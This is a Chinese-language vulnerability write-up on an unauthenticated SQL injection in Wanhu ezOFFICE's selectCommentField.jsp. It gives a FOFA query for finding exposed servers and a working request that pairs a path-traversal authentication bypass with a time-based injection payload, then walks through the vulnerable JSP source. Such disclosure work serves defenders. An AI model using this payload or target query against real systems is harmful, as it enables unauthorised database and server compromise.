0x01 产品简介
万户OA ezoffice 是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。
0x02 漏洞概述
万户 ezOFFICE platform/platform/custom/custom_database/dropdownselect/selectCommentField.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。
0x03 复现环境
本地环境 OR FOFA:app="ezOFFICE协同管理平台" || app="万户ezOFFICE协同管理平台" || app="万户网络-ezOFFICE"
漏洞复现
GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../platform/custom/custom_database/dropdownselect/selectCommentField.jsp?tableId=1+waitfor+delay+'0:0:6'--+- HTTP/1.1
Host: ezoffice.mrxn.net
成功延时 6 秒

漏洞分析
关于鉴权绕过,参考这篇文章:万户 ezOFFICE ajax_checkUserNum.jsp SQL注入漏洞
selectCommentField.jsp 主要业务逻辑代码如下,非常简单!
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ include file="/public/include/init.jsp"%>
<%@ page import="com.whir.ezoffice.customdb.customdb.bd.CustomDatabaseBD" %>
<%
String tableId = request.getParameter("tableId");
String index = request.getParameter("index");
String val = request.getParameter("val");
if (val == null || "null".equals(val)) {
val = "";
}
java.sql.Connection conn = null;
java.sql.Statement stmt = null;
java.util.List list = new java.util.ArrayList();
Object[] obj;
try {
conn = new com.whir.common.util.DataSourceBase().getDataSource().getConnection();
stmt = conn.createStatement();
java.sql.ResultSet rs = stmt.executeQuery("select field_name,field_desname from tfield where (field_show=401) and field_table="+ tableId + " order by field_id");
while (rs.next()) {
obj = new String[2];
obj[0] = rs.getString(1);
obj[1] = rs.getString(2);
list.add(obj);
}
rs.close();
stmt.close();
} catch (Exception ex) {
} finally {
if (conn != null) {
conn.close();
}
}
%>
<select onchange="setSelectObj(this,'<%=index%>');" class="selectlist" style="width:50%;">
<option value=""></option>
<%
if(list.size()>0){
for(int i=0;i<list.size();i++){
obj=(Object[])list.get(i);
%>
<option value="<%=obj[0].toString()%>" <%if(val.trim().equals(obj[0].toString().trim())){out.print("selected");}%>><%=obj[1].toString()%></option>
<%}
}%>
</select>
主要关注 这一行
java.sql.ResultSet rs = stmt.executeQuery("select field_name,field_desname from tfield where (field_show=401) and field_table="+ tableId + " order by field_id");
又是一个明显的直将 tableId 参数拼接进SQL语句,造成SQL注入漏洞,还是这么朴实无华!
最后
其他万户OA 相关漏洞
万户 ezOFFICE selectAmountField.jsp SQL注入漏洞
万户OA系列漏洞


